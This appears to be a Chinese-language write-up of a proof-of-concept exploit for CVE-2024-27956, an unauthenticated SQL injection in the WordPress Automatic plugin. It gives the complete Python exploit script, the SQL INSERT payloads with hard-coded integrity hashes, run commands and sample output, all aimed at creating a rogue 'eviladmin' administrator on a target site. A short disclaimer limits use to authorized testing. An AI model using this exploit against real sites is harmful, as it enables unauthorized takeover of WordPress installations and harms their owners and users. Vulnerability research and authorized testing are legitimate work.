WordPress Automatic插件SQL注入漏洞利用工具

3 阅读4分钟

CVE-2024-27956 SQL注入漏洞利用工具

CVE-2024-27956转存失败,建议直接上传图片文件 WordPress转存失败,建议直接上传图片文件 Python转存失败,建议直接上传图片文件

项目描述

本项目是CVE-2024-27956漏洞的概念验证(PoC)利用工具。该漏洞存在于ValvePress Automatic WordPress插件中,是一个严重的SQL注入漏洞。攻击者可以通过构造特制的SQL语句,在未经授权的情况下向WordPress数据库执行任意SQL命令。

此工具演示了如何利用该漏洞在目标WordPress站点中创建具有管理员权限的用户账户,进而可能实现远程代码执行(RCE)。

功能特性

  • 自动检测漏洞:自动判断目标站点是否存在CVE-2024-27956漏洞
  • 一键创建管理员:自动执行SQL注入,在WordPress数据库中创建管理员用户
  • 权限提升:自动为新用户分配administrator角色权限
  • 简单易用:命令行界面,仅需提供目标URL即可完成攻击
  • 无需认证:绕过所有身份验证机制直接执行SQL语句

安装指南

系统要求

  • Python 3.x
  • requests库

安装步骤

  1. 克隆项目仓库:
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
  1. 安装依赖库:
pip install requests

使用说明

基础用法

python exploit.py http://target-website.com

示例

python exploit.py http://example-wordpress-site.com

执行流程

  1. 工具会自动构造攻击URL:http://target.com/wp-content/plugins/wp-automatic/inc/csv.php
  2. 发送第一个SQL注入请求,创建用户名为eviladmin、密码为admin的管理员账户
  3. 发送第二个SQL注入请求,为新用户赋予管理员权限
  4. 输出执行结果和创建的账户信息

输出示例

[+] Exploit for CVE-2024-27956
[+] Creating user eviladmin
[+] Giving eviladmin administrator permissions
[+] Exploit completed!
[+] administrator created: eviladmin:admin

漏洞利用细节

该漏洞源于wp-automatic/inc/csv.php文件中的q参数未对用户输入进行任何过滤或净化处理,攻击者可以直接在q参数中传递完整的SQL查询语句并执行。

创建用户的SQL Payload:

INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')

赋予管理员权限的SQL Payload:

INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')

核心代码

主漏洞利用模块

import requests
import sys

def makeRequest(payload, hash, url):
    """
    构造并发送SQL注入请求
    
    参数:
        payload: SQL注入语句
        hash: 认证哈希值
        url: 目标URL
    
    返回:
        response: HTTP响应对象
    """
    host = url.split('/', 3)[2]
    
    headers = {
        'Host': host,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-type': 'application/x-www-form-urlencoded',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1'
    }
    
    data = {
        'q': payload,
        'auth': b'\0',
        'integ': hash
    }
    
    response = requests.post(url, data=data, headers=headers)
    return response

漏洞检测与利用逻辑

def verifyArgs(argv):
    """验证命令行参数"""
    if len(sys.argv) != 2:
        helpUsage()

def helpUsage():
    """显示帮助信息"""
    print("[+] You must run the expoit passing the wordpress URL. \n[+] Example: python exploit.py http://website.com")
    quit()

# 主执行流程
verifyArgs(sys.argv)
print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain + '/wp-content/plugins/wp-automatic/inc/csv.php'

# 第一步:创建恶意管理员用户
print("[+] Creating user eviladmin")
response = makeRequest(
    "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')", 
    "09956ea086b172d6cf8ac31de406c4c0", 
    url
)

# 检测漏洞是否存在
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
    print("[+] Error in the payload")
    quit()

if "DATE" not in response.text:
    print("[+] Not vulnerable")
    quit()

权限提升模块

# 第二步:赋予管理员权限
print("[+] Giving eviladmin administrator permissions")
makeRequest(
    "INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')", 
    "bd98494b41544b818fa9f583dadfa2bb", 
    url
)

# 检查执行结果
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
    print("[+] Error in the payload")
    quit()

print("[+] Exploit completed!")
print("[+] administrator created: eviladmin:admin")

注意事项

  • 本工具仅用于安全研究和授权测试
  • 未经授权使用此工具攻击他人系统属于违法行为
  • 使用本工具造成的任何后果由使用者自行承担
  • 建议仅在拥有明确授权的环境中进行测试 6HFtX5dABrKlqXeO5PUv/7xKe4Mo18IWVnncce2KYDz3v1OXtXxQk6X8518b66qC